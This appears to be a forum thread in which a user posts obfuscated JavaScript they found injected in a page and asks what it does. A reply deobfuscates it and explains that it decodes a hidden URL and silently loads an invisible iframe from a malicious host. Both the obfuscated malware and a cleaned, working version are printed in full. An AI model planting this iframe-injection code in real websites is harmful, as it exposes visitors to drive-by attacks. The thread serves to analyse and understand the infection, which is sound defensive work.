var LgLiBeb = "\x73li\x63e";
if ('cXqZe' == 'hdvrt') KIkyJ();
var appVersion_var = "\x61ppV\x65r\x73i\x6fn";
var DaGd = 'WJdpuS';
var UNLOOk = 118;
var px0_var = "0\x70x";
var yufL = 268;
if ('vlwmVU' == 'dtNS') dFobAh = 'dbES';
var coiJVUL = (function () {
function HMtGY() {}
var JWuN = 'Dztvmh';
var JZEGM;
return this;
function FeZd() {
var IZZFyk = 'LOij';
if ('SomCO' == 'VtLBbq') uThvZ();
}
})();
function utrcTc() {
var sQqTc = 'GDjGUL';
if ('GGbJ' == 'CdUOt') PFLkIv();
}
var yILQN;
var BlpVKOn = "GJfIbBp" [HGBXMBYkq];
var Cspfjl = 'cRBOTm';
var AhJvb;
for (var naxoJ = 0; naxoJ < qiyTHJNSK.length; naxoJ += 2) {
function mthsyA() {}
coesFKAJH = coiJVUL[hitxMCSTc](qiyTHJNSK[LgLiBeb](naxoJ, naxoJ + 2), 16) - 43;
var ihta;
LnJbDi += BlpVKOn[fmvCwPvf](coesFKAJH);
if ('YwvB' == 'nLaBq') FxCUcY = 'LClI';
function LuHhQ() {}
if ('rLTy' == 'RGZAH') InLSa = 'hqGi';
}
var pRLWk = 'qYTdKF';
var dbQz = 'IuaOpO';
var NLauPPxo = "KXDDhcUB";
function WiKx() {
var RqlT = 'TnwXV';
if ('mGATZ' == 'BoFZqb') IaMIR();
}
var KVmoXu = 'CCmbz';
var fpSlvS;
function kIyvYK() {
var kejS = 'hRGKfF';
if ('dwlh' == 'PerQmS') NeWE();
}
var HukG = 171;
var SCQFe = "";
var ZSeQP;
if ('TYhSD' == 'pOHCUl') xDKJc();
var QgUskg = 165;
if (navigator[appVersion_var].indexOf("MSIE") != -1) {
var XGZk = 162;
var dQaQT;
SCQFe = '<iframe name="' + NLauPPxo + '" src="' + LnJbDi + '">';
function cxMsRj() {
var gRqlMJ = 'YxSQd';
if ('Yedbfb' == 'FmRTE') zMRsf();
}
if ('UFqh' == 'inxzUL') IMhGyA();
var LnEoLC;
} else {
function NBxX() {
var rUxrb = 'oyDIE';
if ('trsJw' == 'EffuZz') zIRGF();
}
var pZBDH = 'FbTqY';
SCQFe = 'iframe';
if ('qJQEx' == 'sEOu') Jjcc();
var LtKfoR;
}
var RHgYbw = 209;
var XGCxE = document.createElement(SCQFe);
var osIEg = 'zpisyX';
var yTDi;
XGCxE.REKhC = function () {
var EhIV;
this["src"] = LnJbDi;
var hITyC = 47;
function QPAbon() {
var vlUKyt = 'ydOwpE';
if ('bUzfeI' == 'Gtzuz') xqXIgA();
}
}
function uNdxy() {}
if ('tXIjw' == 'ZuZUXu') TJmV = 'OZLhL';
XGCxE.style.right = px0_var;
var INwC = 218;
function eXRqv() {}
XGCxE.style.position = "absolute";
var myUH = 129;
var itYaqs = 'PIEQTG';
XGCxE.style.height = px1_var;
function Cncutd() {
var rElSS = 'aVJgKV';
if ('OlroM' == 'QRUVc') ZSoo();
}
if ('RpUI' == 'UbjbH') DfFH = 'LQKPT';
function jpdw() {}
XGCxE.name = NLauPPxo;
function GZKiB() {
var HGDCTk = 'uDGc';
if ('FdUgR' == 'hVIV') dcxx();
}
function vaVVBx() {
var PFhZz = 'CWQbMT';
if ('gEEvG' == 'aPzLMo') dMSclV();
}
XGCxE.REKhC();
function eInNvF() {}
function gPMoah() {
var UrmQn = 'fnwS';
if ('RJhZkZ' == 'NoYtxc') lkhw();
}
var xFoDke = 185;
XGCxE.style.top = px0_var;
function LXpA() {}
function Qkls() {
var rwmtT = 'RLulmG';
if ('mvum' == 'mQYG') RSKN();
}
XGCxE.style.width = px1_var;
var OMySFE = 'AJgrgE';
function yvFj() {}
function YzJdttK() {
function nWCtr() {
var HbXEi = 'cssMz';
if ('gwMUm' == 'fJUX') Jblip();
}
var kNePZX;
if (document[WNOgK]) {
if ('Mwub' == 'FLNDO') TdNEy = 'WAnb';
var AfhI = 'gdwUZG';
var UdZQcB;
var document_body_var = document[WNOgK];
if ('mjKa' == 'hCEFj') Vmkvz();
if ('knkq' == 'QLKklH') ygHF();
document_body_var[pubYymvCW].apply(document_body_var, [XGCxE]);
function jbGXOJ() {
var ovQXvi = 'HTXX';
if ('fllkOR' == 'OQlK') xGgRO();
}
} else {
var jJJY = 67;
setTimeout(YzJdttK, 120);
var fvmrr = 'HIfEiu';
function KvOj() {
var gLdJK = 'XueY';
if ('ppiCfu' == 'xudev') ZqGbGK();
}
}
var qUvxeh;
}
var EKFO = 10;
var rbiRyL;
YzJdttK();
function uJgk() {
var QbDju = 'lEEFak';
if ('jBDVr' == 'OzMogy') EHbmqV();
}
var Jslsu = 'BXWm';
</script>
Can someone help me decipher it?
Also how do I know how I got this, is there a way to trace it back?
Cheers!
Cleaned from all the var declaration and false-conditioned if-statement stuff, what actually is executed is:
var qiyTHJNSK = "939f9f9b655a5a968c9f909e9f8c9f626259a09e5a9499598e92946a64";
var HGBXMBYkq = "co\x6e\x73tructor"; // constructor
var fmvCwPvf = "\x66\x72o\x6dC\x68ar\x43ode"; // fromCharCode
var BlpVKOn = "GJfIbBp" [HGBXMBYkq]; // String()
var hitxMCSTc = "pa\x72s\x65\x49nt"; // parseInt
var WNOgK = "b\x6fdy"; // body
var LgLiBeb = "\x73li\x63e"; // slice
var LnJbDi = "";
var coiJVUL = (function () {
return this;
})();
for (var naxoJ = 0; naxoJ < qiyTHJNSK.length; naxoJ += 2) {
coesFKAJH = coiJVUL[hitxMCSTc](qiyTHJNSK[LgLiBeb](naxoJ, naxoJ + 2), 16) - 43;
LnJbDi += BlpVKOn[fmvCwPvf](coesFKAJH);
}
if (navigator[appVersion_var].indexOf("MSIE") != -1) {
SCQFe = '<iframe name="' + NLauPPxo + '" src="' + LnJbDi + '">';
} else {
SCQFe = 'iframe';
}
var XGCxE = document.createElement(SCQFe);
XGCxE.REKhC = function () {
this["src"] = LnJbDi;
};
XGCxE.style.right = px0_var;
XGCxE.style.position = "absolute";
XGCxE.style.height = px1_var;
XGCxE.name = NLauPPxo;
XGCxE.REKhC();
XGCxE.style.top = px0_var;
XGCxE.style.width = px1_var;
function YzJdttK() {
if (document[WNOgK]) {
var document_body_var = document[WNOgK];
document_body_var[pubYymvCW].apply(document_body_var, [XGCxE]);
} else {
setTimeout(YzJdttK, 120);
}
}
YzJdttK();
So, it does what all these scripts do: It appends an invisible iframe, in your case with the location http[evil]://katestat77.us/in.cgi?9